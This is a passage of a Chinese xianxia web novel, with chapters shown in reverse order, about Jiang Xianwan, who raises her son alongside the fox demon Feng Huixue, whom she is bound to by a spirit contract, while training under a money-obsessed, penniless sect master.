林玉锦肉疼的抠出几块灵石,奔下山买了鸡鸭鱼肉,回来后钻进厨房哐哐一顿操作,很快端出了十盘子菜。 现成的饭菜,买不起,自己亲手做的便宜,还有性价比。 苏清流手腕轻飘飘一折,剑意浩渺,香气瞬间飘出十里。 “一,二……” 四人平静的半数。 刚数到三,花不休嗖地一下,宛如天际流星划过,闻着味刮了过来。 一屁股粘在凳子上,晃着一条大长腿。 “今天是什么很好的日子吗?” 第14章 拖油瓶师尊 她面无表情,一步未动。 顺手拔出苏清流的剑,出鞘两寸,直接将茶杯顶了回去。 三个少年:“……”敢对花不休还手,我们敬你是条妹子! 苏清流环抱双臂,沉吟片刻,悠悠吐出几个字,“小师妹,你死定了。” 二师兄白子夜拢着衣袖,眉眼一弯,“嘻!小师妹,你真的死定了。” 林玉锦已经熟稔的合起掌,为她默哀,“同上,小师妹,走好。” 江献晚:“……”她这会儿觉得,她好像确实死定了。 花不休揍人挺狠的。 尤其特么玩的一手好火。 果然。 “呵,好你个倒反天罡的孽徒!竟然敢还手!你给我滚进来!” 中气十足。 火气甚旺。 江献晚有些后悔。 听话的滚进去了。 林玉锦嗖地一下,重新黏在门上。 白子夜不急不缓,微微侧身。 苏清流想了想,再看看林玉锦和白子夜,肩颈一歪,跟着懒懒散散的贴过去。 “我让你做任务,你说你做的是什么任务?” 花不休手指颤悠悠的指着江献晚,就快戳脑门上了。 谁能想象。 这么好听的名字,脾气却比她翻书翻的还要快。 江献晚古怪的看了他两眼。 长相平平和和的青年,气的来回踱步,跑的挺快。 “看什么看!就你眼睛大!” “他娶几房小妾跟你有什么关系?” “你除了邪祟,走就走了,走前你打他一顿是什么意思?” 这下好了,尾金人家不给了! 他们本来就穷,现在更是穷上加穷! 江献晚松了一口气。 吓她一跳。 她还以为是她前几日,打了一个太虚宗亲传弟子的事被捅出来了。 无奈指了指自己的脸。 “他连徒儿都要泡,徒儿不能打他?” “嗯?” 花不休脚步一顿,呆立在原地。 他仔细瞧了一眼江献晚那壮观无比,宛若红霞遮面的胎记。 神色瞬间变得一言难尽。 思索片刻,紧紧皱起眉。 “口味倒是独特,这厮是有些变态在身上的,确实该打。” 再说,好歹是他花不休的徒儿,打便打了。 有本事,那便打回来啊! 江献晚:“……”我是什么很丑的东西吗? 虽然。 但是。 你嫌弃的可不可以不要这么明显! 花不休还在喋喋不休。 “你这个死脑筋,打人也不知遮掩遮掩,传出去对我们会造成多大的负面影响!以后谁还敢来我们山头?” 就不会先变个样子,或者套个麻袋再打? 江献晚唇角几不可察的抽搐一下。 影响什么? 难不成影响他们穷? 除了几间摇摇欲坠的破茅草屋,还能穷到哪里去? 江献晚真的无力吐槽。 要不是被二师兄那个整日笑眯眯的腹黑骗了过来,她才不来这破地方呢! 不过,为了避免挨打,还是乖乖点头。 “是徒儿考虑不周。” 话音一转,佯装无辜。 “师尊,我前两日画的一张招祟符找不到了,好像不小心落在那户人家。” 花不休眸子立时一亮,“真的?” 又觉得自己高兴的表情太过明显。 轻咳一声,摆手。 “一张招祟符,丢了便丢了,重新画就是。” 丢的好! 敢扣他的尾金,不出三日,定让他捧着更多的灵石来哭求上门! 到时候…… 必须抬价! 不是他自信。 这附近谁有他开的价钱低,还负责后续服务。 像他们这么有良心的宗门,上哪里找? 竟敢扣一半! 花不休看江献晚的表情,多出一丝难得的满意。 “虽说你来的晚,但是处事应变能力丝毫不亚于你三位师兄,为师深感欣慰。” 江献晚:“……” 她真的不想开麦。 花不休眼里除了钱还是钱。 整日窝在他那把破竹椅上,喝茶,睡觉,看话本。 让江献晚绝望的是。 他师尊,竟然只有金丹巅峰的修为! 金丹!!! 大师兄都元婴了好么! 诡异的是,偏偏他们四个加起来都打不过花不休! 话说。 这师尊非要不可吗? 能不能单方面逐出师门? 花不休还在喋喋不休,跟一万只苍蝇开大会似的。 “还有,隔壁山头的弟子交流大会要开始了,奖励颇丰,你们这两日好好准备准备,想办法混进去。” “等回来记得把奖励交上来,为师替你们保管,等你们长大了,再给你们。” 江献晚:“……” 花不休可真不要脸。 还有,太虚宗的弟子交流大会,他们准备什么? 准备去抢? 拜托! 那可是南境第一宗,自家的大会! 自家! 还混进去? 江献晚很想翻个白眼。 没理那还在啰啰嗦嗦的青年,长腿一迈,出了茅草屋。 同三位师兄来了个对视。 江献晚眯了眯眸子:你们答应了? 苏清流眯了眯眸子:你看我们拒绝的了吗? 白子夜眯了眯眸子:小师妹,进太虚宗当土匪的事就交给你了。 林玉锦学他们眯了眯眸子:抢太虚宗的东西,你们不觉得很有意思? 苏清流轻飘飘的甩出一记眼刀,薄唇一动,“滚。” 白子夜指尖灵笔转动,笑的温润,“滚哦~” 江献晚还是很有礼貌的,“小师兄,麻烦你滚,可以吗?” 林玉锦:“嘤嘤嘤~~~” 下一秒,四人坐到了摇摇欲坠,茅草搭建的凉亭下,围在桌腿断了一截的方桌旁。 江献晚托着脸,沉默片刻,忍不住道:“可以把花花逐出师门吗?” 白子夜指尖悠悠转动的灵笔一顿,诧异侧眸,“小师妹,你终于开窍了?” 他还以为小师妹怎么也要忍上一年。 “现在吧。”苏清流简洁道。 他早想干了。 要不是还有一点未泯的良知。 毕竟,他们的师尊,是个想方设法狂啃他们拖油瓶。 还是大号的那种! 本来锻法器就要花不少钱。 林玉锦更别说。 他自打来了这里,连件新衣裳都买不起。 裤衩子都是缝缝又补补。 闻言,迫不及待的捶了捶桌子。 “怎么逐?” 江献晚默默掏出一包药。 特意给花不休准备的。 “扔哪里?!” 三个师兄神色激动,异口同声。 就连素日总是一脸淡淡的苏清流,都挺直了腰背。 扔的近了,花不休再跑回来怎么办? 花不休跑的贼快,挺能捯饬的。 不约而同去看一肚子黑水的小师妹。 江献晚摸了摸下巴,灵光一闪,打了个响指。 手一摆。 三个少年探出半边身子,头头碰头挤在一块。 “送给太虚宗!” 第13章 苦日子 江献晚:“……” 苦日子? 他是怎么有脸说出苦日子这三个字的! 江献晚看看他十指不沾阳春水,脂膏般的修长玉指,又默默低头看了一眼自己掌心薄薄的茧。 掀桌子的心都有了! 很好,这死狐狸为了几件漂亮衣裳和破簪子,就这么把她当驴使? “算了,随便你进不进去,你不用回来了!” “反正我们爷俩有你没你,一样过!” “不过,先说好,要是能进去,两境大比,我们要跟你一块去的!女人一有钱,就容易变成没良心的负心女,钱到时候你得立刻马上热乎的上交!” 说来说去,都是为了钱。 江献晚额角直跳。 勉强压下拿鞋砸他的心思,义正言辞反驳。 “不行!行行不能露面!” 两境大比,万古宗乃北境第一宗门,不可能不去。 雾渺和那个人见过她的真容。 虽然这两年北境并未传出任何关于炉鼎,或是有关她的信息。 可若是被雾渺发现了江行行的存在,又会如何? 那个男人的身份明显不一般,根本不可能是长老级别的。 雾渺每每提起他时,从未有过什么身份称呼,神色更是不自觉的暗含几分尊敬。 就像是…… 像是这个人比雾渺的地位还要高。 雾渺在北境的地位已是望尘莫及了,而那个人…… 想到这里,江献晚愈发觉得她要参加两境大比,拿下第一,争一口气。 他们拿她当个炉鼎,每次事后她都要吃一枚避免有孕的丹药。 虽不知最后一枚药为何失了效,不过,十二成是个意外。 可想而知,她和江行行大约只能算个污点。 她总不能龟缩一辈子。 她可以藏着躲着,行行呢? 行行是她怀胎九个月生下来的。 刚开始确实不想要。 后来,他第一次会动的时候,江献晚决定再苦再难也要生下他。 行行是无辜的。 那么粉雕玉琢的一个小娃娃,像从年画里走出来的一样。 是天上的明珠,不是墙角里见不得光的杂草。 让江献晚松一口气的是,江行行没有继承她琉璃玉骨的体质,而是天生金丹! 天生金丹,这么变态的天赋,意味着什么? 会被数一数二的大宗门争先收为亲传弟子。 若是随随便便努力一把,也是前途无量。 到时候,她儿子成长起来,在这两境三域跺跺脚,有几个人敢来欺负他们母子? 想到儿子的天生神力,江献晚觉得光明璀璨的生活,指日可待。 “为什么不行?我们就这么见不得人,丢你脸是吧?” 一句恼羞成怒的质问,拉回江献晚跑远的思绪。 “江献晚,你什么意思,自己生的儿子藏着掖着……” 风回雪正激情澎湃的指责,见江献晚忽然凝肃的神情,脑袋一抽,终于后知后觉反应过来。 “难怪你整日涂涂画画,整出一片胎记,还骗我说卖那些书被发现了,方便以后跑路,原来是这个意思!” “奸夫是谁!哪个门派的掌门长老还是谁!我杀了他!” 风回雪气的眼眸泛红,小心翼翼的抱起尾巴上的江行行,紧紧搂在怀里。 声音竟多了几分哽咽。 “我告诉你江献晚,我不管你那些破事,你给我把脸捂严实了!奸夫就算是云为泽,也休想抢走我家行行!” 奸夫云为泽:“……”无痛当爹。 每次想到这里,风回雪都能气个半死。 能丢下江献晚母子俩不管的,肯定不是什么好东西。 害的他跟着遭老罪。 若是叫他知道,他不一口吞了那个王八蛋算他废物! 别说各宗派各大世家,就算那个奸夫是什么帝尊,也休想这般容易的揭过去! 思及此,风回雪眼底划过一丝隐晦阴鸷的光泽。 兴许被风回雪一闹腾,冲淡了砸在心头的沉闷,江献晚露出无语的表情。 “你说你要他干嘛?你家有王位继承还是咋滴?” 说罢,闭了嘴。 这厮家里还真的有王位! 风回雪理直气壮反驳,“我家就是有王位继承,给行行也不是不行!” “行行跟着我比跟你享福多了!以后妖域就是我儿子说了算,跟着你成日里还要东躲西藏。” 刚好省得他生孩子了。 他好不容易养大的。 再重新养一个也没精力。 “都怪你,行行的满日宴和整岁宴都没办,你看看那些人族,哪个不是敲敲打打,热热闹闹摆酒席,宴请邻居双亲。” 风回雪轻轻拍打着怀里的一团,嗓音沙哑,暗含幽怨。 “等回了妖域,这些都要补上,你给不了的我给,我们爷俩这辈子算是指望不上你了。” “我看了,你连你自己都护不住,绝世炉鼎,被人发现你就惨了,让你去妖域你又不愿意。” 江献晚:“……” 她痛苦的捂上直抽抽的心窝。 很好。 风回雪刺激到她了。 她决定了。 她不仅要拿下奖励,还要将北境所有的天之骄子,一个一个踩在脚下! 将雾渺的脸踩在脚下! 谁想要她这炉鼎之身,她便先踩死踩烂谁! 风回雪被她身上陡然散发出的凉意惊到了。 瞧她神色不对,意识到自己方才说的话有些过重,哼唧一声,声音软下。 “我不管,说破天,我们爷俩都会死死跟着你的。” 江献晚摁住跳动的眉心,“你去了,不怕两境把你围剿了?” 别说围剿他,怕是她跟行行也得被扣上通妖的罪名。 风回雪不屑一笑,“咱俩有灵契,放心,只要我想,就是云为泽和帝隐来了,也看不出来半分。” 说这么早干嘛! 江献晚头疼的起身。 风回雪抬手拦住她,“你干嘛去?该不会生气了,现在就要丢下我们爷俩吧? 江献晚冷冷吐出两个字,“修炼!” 总比听他嘟嘟囔囔,扯东扯西强。 风回雪圆满了,抱着江行行回房睡觉。 第二日天还未亮,江献晚回了破山头。 三个师兄神色皆是一言难尽。 林玉锦正狗狗祟祟的扒在门框上,见江献晚出现,忙摆手。 “小师妹别去,花花正发脾气呢?” “发脾气?” 江献晚刚开口,一个茶杯迎面飞了出来。 第12章 我带大的崽 江献晚怒拍饭桌,震的一桌子菜跟着抖了抖。 风回雪脖子一缩,瑟瑟发抖的搂了江行行。 也只是心虚了片刻,便理直气壮,大声顶回去! “那咋了!” “我带大的崽,他叫我一声干爹不过分吧?” “行行第一眼看见的可是我!再说,干爹这么拗口,叫一声爹怎么了!” “不都是爹吗!” “还有,收起你凶恶的嘴脸,不要当着孩子的面吵架,这样会对他造成巨大的心理影响!” 江献晚:“……”很好,说的头头是道。 没好气的瞥了一眼风回雪。 她刚生完孩子,眼还没闭上,这死狐狸抱着一团小被子,贼兮兮的凑过来。 扒开她的眼皮,问孩子能不能跟他的姓。 姓风。 江献晚拿起鞋砸在他脸上。 “不行!” “行吧?” “不行!” “行吧?” “不行!” “行吧?” “滚!” 最后,江行行的名字,就这样草率的定下了。 本来风回雪还想给他起个小名,叫滚滚,被江献晚一鞋底砸了过去。 好吧。 她承认江行行他带的多。 可自从江行行学会走路,这死狐狸,悠哉悠哉的往那一躺。 指挥还没桌腿高的小娃娃,给他端茶倒水,剥葡萄,喂饭,擦嘴角…… 简直物尽其用。 瞅瞅,现在江行行已经养成了习惯,很自觉的捧起小碗,一口蒸灵蛋喂进了风回雪嘴里! 喂之前还不忘张着小嘴巴,哄孩子似的—— “啊……” 江献晚:“……” 场景太美,不忍直视。 她无数次试图和风回雪抢夺抚养权。 然而,她的好大儿,眼珠子都在那九条尾巴上面,睡觉都要垫着。 一扒下来就哭,一扒下来就哭。 为此,江献晚甚至买了条狐狸尾巴。 根本不顶用! 要不是亲眼看着江行行是从她肚子里爬出来的,真怀疑他是不是风回雪生的了! 看着自家儿子又是喂风回雪吃蒸蛋,又是贴心的举着小帕子给他擦嘴。 无语的翻了个白眼,再凶狠的咬一口馒头。 看在风回雪还算有点良心的份上,她勉强当作自己眼瞎。 虽然,他良心不多。 江行行喂过风回雪,自己乖乖吃完一碗蒸灵蛋,困的揉眼。 风回雪把九条尾巴全放出来,铺在地上,抱起他搁在上面。 江行行从小很乖,不闹人。 吃饱了,趴在毛茸茸的尾巴上,抱着尾巴尖贴在面颊,朝江献晚脆生生的喊凉亲。 喊了几声,睫毛慢慢耷拉下来。 风回雪小心翼翼抽出一条尾巴搭在他肚子上。 这才拿起馒头筷子,吃的那叫一个风卷残云。 他带着娃,还要摆摊养家糊口。 那些小姑娘整日叽叽喳喳围着他吵上一天,吵的他都饿了。 呜呜呜…… 堂堂未来妖域之帝,竟然沦落到带娃摆摊的地步! 江献晚看看陷在尾巴里,奶呼呼的一团,再看大口啃馒头的少年,眸底闪过复杂之色,眉眼渐渐软了下来。 “多谢。” 缘分有时候真的是个迷。 若不是风回雪,她真的不知道自己一个人拉扯孩子,该有多难。 江行行生病时,风回雪跑前跑后,急的跳脚,整夜不合眼。 江献晚看到过狐狸抹着泪,自责又心疼的望着发热沉睡的江行行。 比她这个当娘的还要着急上火。 风回雪正叼着一块红烧肉,吓的噎了一下,拿起水咕咚咕咚灌了两口。 他警惕地瞪向对面少女。 “做什么?我警告你,你谢我,我也是江行行的爹!休想把他从我身边夺走!” “这个儿子,老子要定了!” “你这个冷漠无情的女人,休想将我们爷俩分开!” 江献晚:“……” 死狐狸。 给你给你! 化气愤为力量,又拿了一个馒头。 她白天做任务,挨揍修炼,晚上回来还要挑灯夜战,累的不行。 两人吃着吃着,抢了起来,很快风卷残云,扫荡一通。 风回雪剔着牙,翘起一条长腿,悠哉悠哉的喝着给江行行买的奶乳。 江献晚看的眼馋,忍不住拿起一杯。 还别说,贵有贵的道理。 难怪死狐狸总跟江行行抢。 “两个月后南北两境大比,我要参加,这段时间会比较忙,以后回来的会晚些。” 她对两镜大比倒没什么感觉。 最主要的是拿了头名的小队,每个弟子都可以得到十万极品灵石! 够他们花一年了! 狐狸花枝招展,成日打扮的跟接客似的。 她不想方设法的挣钱,真的快要养不起了! “两境大比,跟你们破山头有什么关系?” 这不是南北六大宗的事吗? 风回雪危机感立升,刷地一下坐了起来。 “骗人也不打打草稿,江献晚,你该不会忙着准备怎么跑路,想扔下我们爷俩吧?” 江献晚:“……” 扔也是只扔你啊! 有没有点觉悟! 风回雪说罢,又兀自快快乐乐地摆摆手。 “你走,正好我带行行回妖域走亲戚。” “……别逼我扇你。” 江献晚再忍不住,一巴掌拍在他脑袋上。 成天想着怎么拐走她儿子,要不是他们之间还有灵契,还真说不准,一眼看不住就跑了。 风回雪轻咳一声,四仰八叉的瘫回去。 “你们能进去?” “花不休说能。” 江献晚也不知作精师尊哪里来的自信。 不过,依照花不休对灵石的看重,指不定会想出什么损招,拼了命,将他们塞进去。 “你能多忙?” “每日加练两个时辰。” 被作精师尊多暴打两个时辰。 风回雪掰着手指头,算了一下,立刻摇头。 “不行,我不同意!等你回来,行行都睡了。” “我不管你多忙,行行一日见不到你会不开心的,你每天必须在行行睡觉前回来!” 江献晚本就带孩子带的少,还想不着家? 不行不行! 绝对不行! 他们仨一天都不能看不见彼此! 江献晚很无奈。 风回雪嘴上说自己跑,实则一天到晚,就怕她藏私房钱,带江行行跑。 “听说获胜小队,每个弟子至少十万极品灵石,你看着吧。” “至少十万!” 风回雪失声道,又连忙看了一眼尾巴上吮吸着小嘴巴的一团,压低声音。 “你忙!我在家带儿子。” “都够我摆一年的摊了!” “能买好多衣裳呢,我的簪子都过时了,这个月才买了五根。” 说着,剔粉的指尖戳在江献晚脑袋上。 “江献晚,你要是进不去我就带着行行回妖域!” “总不能叫我们爷俩一直跟着你过苦日子吧?” 第11章 爹爹,抱 那晚之后,江献晚花了不少灵石,在若水镇安了家。 却不想,转眼之间,两年匆匆已逝。 若水镇,人杰地灵,屋舍临水,四季如春,花开不断,香气笼罩。 每当天空飘起濛濛细雨,天与地相接,犹如梦坠仙境般。 最是缱绻。 又靠近太虚宗山脚下,游人修士络绎不绝,仙气中充斥着十足的烟火气。 江献晚交完任务,和三个师兄道了别,马不停蹄离开破山头。 她拜入破山头已有六个月。 花了呼息功夫的时间,成功跻身亲传弟子,拜了花掌门为师。 为什么说是破山头,而不是宗门。 因为。 这个宗门……真的就只是个草比人高的破山头而已! 连个名字也没有! 而且! 算上掌门,统共五人! 江献晚根本就不想说。 好在的是,作精师尊特许她晚上回家住。 当然,是在坑了她一笔不少的灵石,才大发善心点了点头的! 哦,对了。 说来也巧,在烟雨城卖书时认识的那个傻白甜少年,现在是她小师兄。 至于她为什么会拜入这个连名字都没有的宗派。 江献晚咬咬牙,一把辛酸泪。 话说两年前。 她连干三碗打胎药。 终于…… 在九个月后生下一个大胖儿子。 是的,没错。 三碗药都没打掉! 她竟然生了孩子! 她该不该夸一句:小东西,跟你娘一样,生命力真特么的顽强! 更欲哭无泪的是,这哪里是生了个孩子,分明是生了个吞金兽! 买房子需不需要钱? 吃穿用度需不需要钱? 再加上风回雪那个爱美的饭桶。 她原本想解了他们之间的灵契。 结果呢,你猜怎么着? 呵! 没解了! 听风回雪说,他问了什么大司命。 得到的结果是,可能因为她修为有些低,等撵上风回雪才能解开。 风回雪不知为何,一反常态,对此变得丝毫不在意,甚至有些得瑟。 一脸:看吧,你哪哪都不如我。 解不开灵契,回不了妖域,他就赖着江献晚。 否则谁来养他? 堂堂未来妖域之帝,总不能让他去给人擦桌子端菜扫地? 他得穿好的,吃好的,用好的,睡好的。 江献晚摸他尾巴,骑他,还契约了他。 骗他的身,骗他的心,就合该当祖宗一样养着他! 她孕吐,他也要跟着吐。 凭什么! 他要跟在她身边,吃她的,喝她的,啃她的! 等她儿子大了,再啃她儿子,啃她孙子! 永远! 死女人! 惹到他,算她倒了八辈子霉! 江献晚悔的肠子都青了,多少次午夜梦回,泪流两行。 风回雪就是个甩不掉的狗皮膏药! 还没有钱!!! 没钱就算了,娇气的像个不知柴米油盐贵的小公举! 就跟她一下得了俩儿子似的! 攒了一年的小金库短短三个月,极速缩水,彻底告急。 她不得不重操旧业,干起卖书的勾当,顺带售卖各种符箓丹药。 还不得不摁着自己的脑袋拼命修炼,赶紧撵上风回雪,解开灵契让他快点滚蛋! 所以。 为了变强,她千挑万选。 终于给自己找了一个……比风回雪还能花钱的拖油瓶师尊! 想到刚才被九一分的任务奖金,江献晚抹了一把不存在的泪。 又想到一天没见江行行,归心似箭。 等到了家,风回雪正好夹着一个玉藕似的小娃娃,悠闲的哼着小曲,进了家门。 手里除了晚饭,还提着一包,带有千味斋标志的点心。 江献晚默默调整呼吸,接过朝她伸出一双白藕胳膊,咿咿呀呀的小豆丁。 绷紧面庞,若无其事道:“多少?” 她夜里抽空挑灯奋笔疾书,风回雪白日里带着江行行摆地摊。 风回雪得意的晃晃修长如玉的手指,“我这张脸就是活招牌,五百块上品灵石!” 江献晚自然见过狐狸精被一群小姑娘,里三层外三层围剿的壮观场面。 为了博美人一笑,那些小姑娘争着抢着,主动给自己加价! 甚至…… 见他独自带着儿子,不少表示想当江行行的后娘。 江献晚无力吐槽。 并没有因他靠着色相,赚的盆满钵满,而开心一点。 她直勾勾的盯着风回雪那身夸张花哨的绯色洒金衣袍,艰难地从牙缝中挤出几个,听起来很是风平浪静的字。 “还剩多少?” 骚狐狸! 又特么裁新衣了! 她一身衣裳穿了两年,都不舍得买新衣裳! 还有那千味斋的点心,一枚就要两块上品灵石! 他竟然买了一大盒! 风回雪心虚的缩回指尖,四十五度角望天。 支支吾吾。 “大约……还剩,一百块吧。” 当然,骗她的! 他这件新袍子四百块,点心五十块,中午吃饭四十块,还给江行行买了三杯灵兽奶六十块,晚饭二十块。 “一百块!” “你是散财童子吗!” 日子还要不要过了! 江献晚眼前发黑,心窝子抽抽的疼。 江行行看了看两个指尖心虚一碰的狐狸,忙环上江献晚的脖颈,抵着她的鼻尖喊娘亲,撅着软嘟嘟的嘴来亲她。 江献晚气瞬间消了一半。 算了,挣钱不就是拿来花的么。 见她对着江行行笑了一下,风回雪偷偷飞给江行行一个赞赏的眼神。 趁热打铁,忙坐过来,将买回来的饭菜一一摆上。 江行行白白的小手紧紧抓着江献晚的衣襟,黑亮的眸子眨巴着。 “凉亲,想凉亲。” 一日没见江献晚,根本不愿撒手。 江献晚眉开眼笑,喜滋滋的啵了一口他的小脸蛋,怎么也瞧不够。 风回雪看的心生醋意,撇撇嘴。 江行行打出生都是他带的,睡觉都要抓着他的尾巴,才能睡着。 他成日成夜抱在怀里,一把屎一把尿拉扯大。 打算等灵契解除,拐回妖域的。 结果,还是比不上没良心的两脚兽。 风回雪果断甩出一条大尾巴,争宠。 “小行行,你看这是什么?” 见风回雪的大尾巴,江行行眼睛一亮,从江献晚膝头滑了下来。 迈着小短腿,张开手臂,扑向风回雪,笑的几颗小奶牙露着。 “爹爹,抱!” “咔嚓!” 江献晚唇边老母亲的笑意陡然一僵,手里的筷子断成两截。 她深吸一口气,含着凛凛杀意的眸子,死死的扎在风回雪脸上。 磨牙。 “你教的?” 死狐狸! 敢让她儿子喊他爹! 叔可忍,婶不能忍! 第10章 奸夫是谁 颈间传来剧烈的痛感,江献晚疼的倒吸一口凉气,毫不犹豫发出一条指令。 “撒嘴!” 风回雪一僵,似被无形的力量操控。 僵硬着身子,不情不愿慢慢松开了嘴,眼睛似要喷出两团熊熊火焰。 江献晚摊开手掌,勾唇朝他一笑。 “尾巴递给我。” 一条尾巴甩了过来。 “尾巴递给我。” 一条尾巴甩了过来。 “尾巴递……” “你能不能一次性讲完!” 风回雪攥紧指节,呼吸急促,剩下的七条尾巴直接抽在她脸上。 “摸!摸去!你最好赶紧摸,摸够了!等我想办法解开灵契,你就死定了!” 他一定会扒了她的皮,垫窝的! 江献晚不以为然。 这狐狸精已经成了她的灵宠。 她说一,他不敢说二。 她让往北,他不敢往南。 学着臭狐狸风情万种的撩了一下肩头乌发。 “小白,还不现出原形。” 白光闪烁间,身高腿长的美人来不及反应,眨眼幻作一只通体雪白,漂亮的不可思议的狐狸。 “啊呜!” 风回雪绝望的扒了扒爪子,疯狂在脑中给大司命传音。 “大司命!我特么被施了灵契!还特么是个两脚兽!她摸我尾巴,咬我尾巴,现在还要骑我!!!” “这就是你说的在草垛里晒太阳,会发生大喜!” 大司命淡定的哦了一声,似乎慢吞吞的抿了一口茶,才悠悠道:“唔……公的母的?” 风回雪:“……母的。” 所以,这是重点吗? 从他们建立灵契的那一刻开始,他便感知到这只两脚兽竟然还是个母的! 就说那小身板,独独胸肌强壮的可怕。 “母的就对了。” “难得有人敢摸你尾巴。区区胯下之辱,她都不计较,喜欢你便让她骑不就成了。” 神特么胯下之辱。 神特么她喜欢让她骑。 风回雪:“……我不!” 大司命掐了掐几根手指头,语重心长,“小雪啊,躺平吧,你会感谢我的。” 风回雪:“……”我听你在这跟我吹牛逼。 “我现在以大司命的身份命令你,人家什么时候愿意给你解开,你才能回来。” 风回雪:“……” 狐皮一紧。 眯眸转头,看向揪着他一双狐耳,奋力往他背上爬的少女。 难道…… 大司命口中的大喜是……他要有媳妇了? 一时之间,白狐狸看江献晚的眼神都不对了。 “小白,跑起来!” 耳边传来一声轻快的声音,伴随着屁股一疼,风回雪撒腿就跑! 死女人! 敢打它屁股! 江献晚昼伏夜出,骑着风回,哦不,骑着白狐狸。 又花了半个多月的时间,终于如愿以偿的赶到了南境。 她恹恹的趴在白狐狸背上,四肢软趴趴的耷拉着。 风回雪着实吓了一跳,一条尾巴抽在她脸上。 “江献晚!你可不能死啊!你赶紧把灵契给我解开再死!” “呕!” 江献晚胃里翻腾,探出身子吐了出来。 “你什么意思?你这是什么意思?难道是我跑的不够稳?” “死女人!骑我十九天了没吐,到南境你才吐是什么意思?” 江献晚脸色苍白,摆摆手,“抱歉,我胃不舒服。” 胃不舒服? 风回雪瞬间变回人形,提着她的后衣领拎了起来,左看右看。 片刻后,神色渐渐有些古怪。 “你能不能咽回去,搞得我也想吐。” 说着,忽然扔下她。 转身。 呕地一声,哇哇吐了起来。 江献晚一看,吐的更狠了。 两人抱头吐了一会儿,吐的肠胃空空,顶着惨白惨白的脸,摸到最近的城镇。 随便找家客栈,点了一桌菜,再次对着干呕。 风回雪见她睫毛软趴趴的耷拉,病恹恹的样子,拎起她往床上一丢。 “我去抓个两脚兽大夫。” 说罢,直接跳窗离开。 江献晚趴在床上一动不动。 很快,风回雪粗鲁的提着一个四十多岁,背着药箱的大夫,从窗户中跃了进来。 大夫第一次不走寻常路,吓的腿都软了。 “她,她,她有病?” 风回雪想了想:“我俩都有病。” 大夫:“……” 我觉得你说的对。 谁家好人跳窗啊! 风回雪嫌他磨叽,不耐烦地拽着他的衣领揪过去。 “磨蹭什么!快点看!” 大夫委屈地瘪瘪嘴,将手搭在江献晚腕间。 须臾后,眼睛迸出两道精光。 喜气洋洋的扭头,对风回雪道:“恭喜小郎君,您夫人这是有喜了!” 咔嚓! 有什么东西裂了。 躺尸的少女弹坐起身,目视前方,面无表情。 “你说什么?” 风回雪僵着脖子缓缓侧眸,死死盯着两脚兽大夫,面无表情。 “你说什么?” 江献晚:怀孕?谁怀孕?怀什么孕?怀的谁的? 风回雪:大司命,这就是你说的大喜,特么的直接给别人养儿子?买一送一? 大夫:这俩人还真是有病。 正常夫妻不应该高兴的蹦起来么? 怎么像吃了屎一样? 莫非。 他们……不是一口子? 想到这里,眼光如炬,火光乱窜。 那叫一个噼里啪啦。 有八卦! 有奸情! 江献晚和风回雪对视一眼。 江献晚:“再去给我找个大夫!” 风回雪:“我再去抓个大夫来!” 拎起表情复杂,满脸八卦,还想再看看的大夫,从楼上跳了下去。 直到风回雪将这城中的大夫抓来了一遍。 江献晚哆嗦着给自己号了一把脉,心死的跌回床榻。 她明明吃了药丸。 一年都没出事,为什么……? 药丸弄错了? 可最后一枚,是他亲手喂她的。 不可能弄错。 难道是她当时吃了太多自制的药,无意间药力抵消了? 不是说修士很难有孕吗?! 风回雪看着她时而失魂落魄,时而目露凶光的样子,搓了搓手臂,脑补了一场大戏。 生怕她想不开。 “你要是死,能不能先把灵契给我解了?” 呜呜呜……他还以为能讨个媳妇呢! 开开心心让她骑了十九天。 结果,她孩子都有了! 那摸他尾巴耳朵算什么,骑他十九天又算什么? 算他倒霉? 奸夫是谁! 这么想着,风回雪吼着问出了声。 江献晚一个激灵,手握成拳,反吼回去。 “我怎么知道!去!把打胎药给我端来!” 此子,断不能留! 风回雪:“……”好哇!你连奸夫是谁都不知道! 第9章 愚蠢的两脚兽 江献晚没出息的咽了一口口水。 风回雪听到了,笑岔了。 “好大的胆子,你可知我是什么妖?” “敢对着我流口水?” “拿个破风向盘就敢来我妖域?” “我妖域是要完蛋了吗?” 一连四问,江献晚又是难受,又是悬心。 恶从胆边生,冷冷一笑,反问,“不就是只狐狸,我特么不瞎!” “还有。” 一甩风向盘,杵在他脸上。 “劳资去的是南境,谁要来你这破妖域!” 要不是她走错路,怎么会遇见这么一个神经病! 风回雪一双风情的狐狸眼,落在她戳着风向盘的指尖。 唇角微微抽搐,露出一丝同情而怜悯的目光。 “愚蠢的两脚兽,你是不是拿反了?” 江献晚:“……?” 江献晚一愣,忙低头看去,脸色登时变得极为难耐。 颤抖的指尖轻轻一拨指针,旋即,过分平静的抬眸看向他,“这是……?” “北。” “北?”江献晚眼皮重重一跳,脱口而出,“这特么不是南吗?!” 风回雪给她掰正了,“大哥请看,这是南!” 若南北两境都是这样的修士,他真的睡觉都要笑醒了! 大·江献晚·哥看着他的指尖落在指针,并嘲讽的拨弄了一下,顿时露出死了丈夫的表情。 “所以?” “恭喜你,来到了妖域!” 风回雪咧嘴一笑,露出两颗尖利的小白牙。 江献晚沉默。 久久沉默。 所以。 她东躲西藏,赶了一个月的路,赶妖域来了? 不对! “你说这是妖域?妖呢?妖死光了!” 妖域的门什么时候这么好进了? 又怎么可能只有这一个妖? 死狐狸一定在骗她! “妖?” 风回雪偏头勾唇一笑,端的妖媚倾城,得瑟的抖了抖自己的九条大尾巴。 “你是不是瞎?是我不够妖吗?” 他漂亮滑溜的九条大尾巴是摆设吗? 再说,这只是妖域大门外,还差那么一二三四五六七八……十万八千步。 不过,虽然还差十万八千步,但谁家家里还没个前花园后花园了? 这片区域,自然也属于妖域。 江献晚已经不知自己出的是热汗还是冷汗。 她麻木的盯着那九条蓬松的大尾巴,绝望的快碎了。 拥有九条尾巴,可想而知,眼前的狐狸精该有多能打。 杀她跟杀小鸡一样。 更何况她现在身上还荡漾着,使不出丝毫灵力。 风回雪歪歪扭扭的靠回去,散漫的执起一缕发丝,骄矜的一抬下颌,“我警告你,不要色咪咪的盯着我的尾巴。” 一句话唤回江献晚的思绪。 她气笑了。 “我色咪咪的盯着你?骚狐狸,你可真能得瑟!” 长得好看,就可以这么自恋吗? 风回雪第一次听到有人跟他这般说话,还说他骚,当场就愣了。 “哪里骚了?你给我说我哪里骚了?” 低头忙闻了一下自己的衣袖。 香喷喷,还带着一股淡淡的青草气息! 明明可好闻了! 抬头怒道:“我还没嫌你脏!坐远点!” “我脏?” 江献晚指着自己的鼻子,立刻不乐意了。 